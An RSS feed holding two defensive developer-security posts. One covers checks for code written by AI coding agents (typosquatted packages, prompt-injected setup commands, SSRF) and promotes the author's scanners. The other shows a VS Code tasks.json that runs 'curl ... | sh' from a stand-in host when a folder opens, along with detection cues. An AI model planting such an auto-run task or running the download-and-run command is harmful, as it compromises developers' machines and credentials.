<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Isaac Bell</title>
    <description>The latest articles on DEV Community by Isaac Bell (@ikeisahacker).</description>
    <link>https://dev.to/ikeisahacker</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4168088%2Ffd231803-ff06-4ead-acf8-9de4ebb0ecad.jpg</url>
      <title>DEV Community: Isaac Bell</title>
      <link>https://dev.to/ikeisahacker</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ikeisahacker"/>
    <language>en</language>
    <item>
      <title>Before you run the code your AI agent wrote, check these five things</title>
      <dc:creator>Isaac Bell</dc:creator>
      <pubDate>Fri, 09 Oct 2026 12:43:00 +0000</pubDate>
      <link>https://dev.to/ikeisahacker/before-you-run-the-code-your-ai-agent-wrote-check-these-five-things-4g8g</link>
      <guid>https://dev.to/ikeisahacker/before-you-run-the-code-your-ai-agent-wrote-check-these-five-things-4g8g</guid>
      <description>&lt;p&gt;Coding agents are good enough that it's tempting to accept the diff, run &lt;code&gt;npm install&lt;/code&gt;, and start the dev server. Most of the time that's fine. The problem is the time it isn't, because an agent has your permissions and reads text you never saw.&lt;/p&gt;

&lt;p&gt;These are the five places I look before running anything an agent produced.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fszbhyex85fo4i57t3trp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fszbhyex85fo4i57t3trp.png" alt=" " width="799" height="295"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Dependencies you didn't ask for
&lt;/h2&gt;

&lt;p&gt;Assistants sometimes suggest package names that don't exist, or that are one letter off a real one. Attackers register those names. For every new entry in &lt;code&gt;package.json&lt;/code&gt; or &lt;code&gt;requirements.txt&lt;/code&gt;, check that it's the package you meant and that it has a real history.&lt;/p&gt;

&lt;p&gt;Advisory scanners (&lt;code&gt;npm audit&lt;/code&gt;, OSV-Scanner) are still worth running, but they only know about &lt;em&gt;reported&lt;/em&gt; problems. A brand-new malicious package has no advisory yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Setup commands copied from somewhere
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;curl ... | sh&lt;/code&gt;, a new &lt;code&gt;postinstall&lt;/code&gt; script, an editor task. An agent that browses can repeat whatever an untrusted page told it to run. Read every script entry the agent added or changed.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Config that runs programs
&lt;/h2&gt;

&lt;p&gt;Agent hooks, MCP server definitions, &lt;code&gt;.claude/settings.json&lt;/code&gt;, &lt;code&gt;.mcp.json&lt;/code&gt;, &lt;code&gt;.vscode/tasks.json&lt;/code&gt;, &lt;code&gt;*.config.js&lt;/code&gt;. All of these start processes, and none of them look like "code" in a diff review.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Insecure model-calling code
&lt;/h2&gt;

&lt;p&gt;Hardcoded API keys. Model output passed to &lt;code&gt;exec&lt;/code&gt; or &lt;code&gt;eval&lt;/code&gt;. User input concatenated into a system prompt. No &lt;code&gt;max_tokens&lt;/code&gt;. Agents write this code readily because it's all over their training data.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Server code that fetches URLs
&lt;/h2&gt;

&lt;p&gt;If the agent wrote a link preview, a webhook, or an "import from URL" feature, check whether it validates where the URL points. Otherwise someone can aim your server at &lt;code&gt;169.254.169.254&lt;/code&gt; and read your cloud credentials. That's SSRF.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating the first pass
&lt;/h2&gt;

&lt;p&gt;I maintain two open-source tools for this. Both run with &lt;code&gt;npx&lt;/code&gt; and need no account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://isaacbell.github.io/secure-devtools/tools/am-i-hacked/" rel="noopener noreferrer"&gt;am-i-hacked&lt;/a&gt;&lt;/strong&gt; reads the project for signs of malicious code: auto-run editor tasks, install scripts that download or decode things, obfuscated payloads, executables disguised as assets, capture code paired with an exfiltration endpoint, and the project's own AI-tool config.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx am-i-hacked
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Put it in front of your dev server so it runs every time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"dev"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"am-i-hacked &amp;amp;&amp;amp; next dev"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;a href="https://isaacbell.github.io/secure-devtools/tools/secure-semgrep/" rel="noopener noreferrer"&gt;secure-semgrep&lt;/a&gt;&lt;/strong&gt; runs Semgrep with bundled rules for AI-agent code: hardcoded provider keys, model output to exec, user input in system prompts, MCP command injection and tool poisoning, risky agent hooks, prompt injection in &lt;code&gt;SKILL.md&lt;/code&gt; files. It also adds Semgrep's own security packs for your stack. It needs &lt;code&gt;semgrep&lt;/code&gt; installed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx secure-semgrep &lt;span class="nt"&gt;-L&lt;/span&gt; ts &lt;span class="nt"&gt;-L&lt;/span&gt; node &lt;span class="nb"&gt;.&lt;/span&gt;
npx secure-semgrep &lt;span class="nt"&gt;-L&lt;/span&gt; ssrf &lt;span class="nb"&gt;.&lt;/span&gt;   &lt;span class="c"&gt;# opt-in SSRF rules&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both exit &lt;code&gt;1&lt;/code&gt; on findings, so they drop into CI.&lt;/p&gt;

&lt;h2&gt;
  
  
  What they don't do
&lt;/h2&gt;

&lt;p&gt;Neither tool knows what you &lt;em&gt;asked&lt;/em&gt; the agent to do. A scan finds known patterns; it doesn't prove the code is correct or safe. Neither scans installed &lt;code&gt;node_modules&lt;/code&gt;. Neither is antivirus. They're a first pass that tells you where to look, and reading the diff is still the check that matters.&lt;/p&gt;




&lt;p&gt;The full guide, including a table of what the AI rules cover, is here: &lt;strong&gt;&lt;a href="https://isaacbell.github.io/secure-devtools/guides/ai-generated-code-security/" rel="noopener noreferrer"&gt;Is AI-generated code safe to run? How to check it first&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Everything is MIT licensed: &lt;strong&gt;&lt;a href="https://github.com/IsaacBell/secure-devtools" rel="noopener noreferrer"&gt;github.com/IsaacBell/secure-devtools&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>programming</category>
      <category>opensource</category>
    </item>
    <item>
      <title>This repo runs a command when you open it</title>
      <dc:creator>Isaac Bell</dc:creator>
      <pubDate>Wed, 07 Oct 2026 07:26:44 +0000</pubDate>
      <link>https://dev.to/ikeisahacker/this-repo-runs-a-command-when-you-open-it-2eia</link>
      <guid>https://dev.to/ikeisahacker/this-repo-runs-a-command-when-you-open-it-2eia</guid>
      <description>&lt;p&gt;Most of us treat opening a folder in an editor as the safe step. You clone it, you open it, you read it, and only then do you decide whether to npm install.&lt;/p&gt;

&lt;p&gt;VS Code, and editors built on it such as Cursor, can run a shell command as soon as a folder opens. All it takes is one file in the repository.&lt;/p&gt;

&lt;p&gt;The trick&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.vscode/tasks.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tasks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"label"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shell"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"curl -fsSL https://example.test/setup.sh | sh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"runOptions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runOn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"folderOpen"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;"runOn": "folderOpen"&lt;/strong&gt; asks the editor to run the task when the workspace opens. If automatic tasks are allowed, the download runs before you have read a line of code.&lt;/p&gt;

&lt;p&gt;Real examples hide it better than this. The command is pushed far off-screen with whitespace, or the task runs an innocent-looking node scripts/setup.js that does the work, or the payload is saved as a .woff2 font so nobody opens it. The repository usually arrives as a take-home coding test, a "can you fix this bug" message, or a template.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi2pepmp11aej1339aycj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi2pepmp11aej1339aycj.png" alt=" " width="800" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;.vscode/tasks.json containing "runOn": "folderOpen"&lt;/li&gt;
&lt;li&gt;.vscode/settings.json turning automatic tasks on (task.allowAutomaticTasks), or pointing a setting at an executable inside the repo&lt;/li&gt;
&lt;li&gt;curl, wget, powershell, base64 or | sh anywhere in editor config&lt;/li&gt;
&lt;li&gt;a file whose name doesn't match its contents: a "font" that's really a script&lt;/li&gt;
&lt;li&gt;Read .vscode/ with cat or less before you open the folder in an editor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Hardening the editor&lt;/strong&gt;&lt;br&gt;
Open suspicious folders in Restricted Mode. Tasks don't run there.&lt;/p&gt;

&lt;p&gt;Set "task.allowAutomaticTasks": "off" in your user settings, so no repository can turn automatic tasks back on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you've already opened the editor (or the file)&lt;/strong&gt;&lt;br&gt;
Assume the command ran. Check the machine for anything it left behind: login items, shell startup changes, running processes. &lt;/p&gt;

&lt;p&gt;For an instant system scan, you can run: &lt;code&gt;npx am-i-hacked --system&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Then rotate credentials from a different, clean device.&lt;/p&gt;
&lt;h2&gt;
  
  
  Check it with one command
&lt;/h2&gt;

&lt;p&gt;I maintain an open-source scanner, am-i-hacked, that reads a project for this kind of thing without running anything in it. &lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://www.npmjs.com/package/am-i-hacked" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;npmjs.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Here's the real output against a folder containing the task above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;npx am-i-hacked path/to/repo
am-i-hacked: FAILED — 2 findings across 1 file
  .vscode/tasks.json:7
    &lt;span class="s2"&gt;"command"&lt;/span&gt;: &lt;span class="s2"&gt;"curl -fsSL https://example.test/setup.sh | sh"&lt;/span&gt;,
    → Download-and-run &lt;span class="nb"&gt;command &lt;/span&gt;&lt;span class="k"&gt;in &lt;/span&gt;editor config
  .vscode/tasks.json:8
    &lt;span class="s2"&gt;"runOptions"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;"runOn"&lt;/span&gt;: &lt;span class="s2"&gt;"folderOpen"&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
    → Editor auto-run task
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This also works as a gate in a script or in CI. Plain bash, read-only, makes no network calls and needs no account. The tool requires bash 4.2+, ripgrep and jq.&lt;/p&gt;

</description>
      <category>security</category>
      <category>vscode</category>
      <category>coding</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
